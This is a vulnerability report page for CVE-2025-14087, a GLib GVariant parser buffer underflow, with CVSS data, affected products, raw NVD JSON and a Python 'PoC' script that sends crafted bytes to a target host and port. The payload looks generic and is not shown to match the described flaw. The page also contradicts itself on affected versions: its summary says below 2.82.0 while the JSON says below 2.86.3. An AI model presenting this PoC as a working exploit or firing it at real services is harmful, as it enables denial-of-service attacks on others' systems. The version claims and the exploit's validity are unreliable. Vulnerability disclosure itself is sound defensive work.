Security Vulnerability Report
中文
CVE-2025-14087 CVSS 5.6 MEDIUM

CVE-2025-14087

Published: 2025-12-10 09:15:47
Last Modified: 2026-05-20 11:16:25

Description

A flaw was found in GLib (Gnome Lib). This vulnerability allows a remote attacker to cause heap corruption, leading to a denial of service or potential code execution via a buffer-underflow in the GVariant parser when processing maliciously crafted input strings.

CVSS Details

CVSS Score
5.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:gnome:glib:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:* - VULNERABLE
GLib < 2.82.0 (所有受影响版本)
GNOME桌面环境组件(依赖存在漏洞的GLib版本)
使用GVariant进行数据序列化的第三方应用程序

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-14087 PoC - GLib GVariant Buffer Underflow This PoC demonstrates the buffer underflow condition in GVariant parser. Note: This is for educational and testing purposes only. """ import struct def create_malformed_gvariant(): """ Create a malformed GVariant structure that triggers buffer underflow. GVariant format: type signature + encoded data """ # GVariant type signature for 'aa' (array of arrays) type_sig = b'aa' # Crafted length that causes underflow during parsing # This exploits the bounds check bypass in GVariant parser malicious_data = b'\x00' * 16 + b'\xff' * 8 return type_sig + malicious_data def send_malformed_input(target_host, target_port): """ Send malformed GVariant data to target application. """ import socket payload = create_malformed_gvariant() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) sock.send(payload) sock.close() print(f"Malformed GVariant payload sent to {target_host}:{target_port}") except Exception as e: print(f"Error sending payload: {e}") if __name__ == "__main__": print("CVE-2025-14087 PoC Generator") print("Target: GLib GVariant Parser Buffer Underflow") print("Usage: Modify target_host/target_port and execute") # Generate payload for manual testing payload = create_malformed_gvariant() print(f"\nGenerated payload length: {len(payload)} bytes") print(f"Payload hex: {payload.hex()}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14087", "sourceIdentifier": "[email protected]", "published": "2025-12-10T09:15:47.053", "lastModified": "2026-05-20T11:16:25.250", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in GLib (Gnome Lib). This vulnerability allows a remote attacker to cause heap corruption, leading to a denial of service or potential code execution via a buffer-underflow in the GVariant parser when processing maliciously crafted input strings."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnome:glib:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.86.3", "matchCriteriaId": "890566A0-619C-42E2-BD1D-9EFAC63E68F4"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:15953", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:15969", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:15971", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19148", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19361", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19452", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19457", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19459", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19460", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19523", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19524", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19565", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19566", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19567", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:7461", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-14087", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2419093", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3834", "source": "[email protected]"}]}}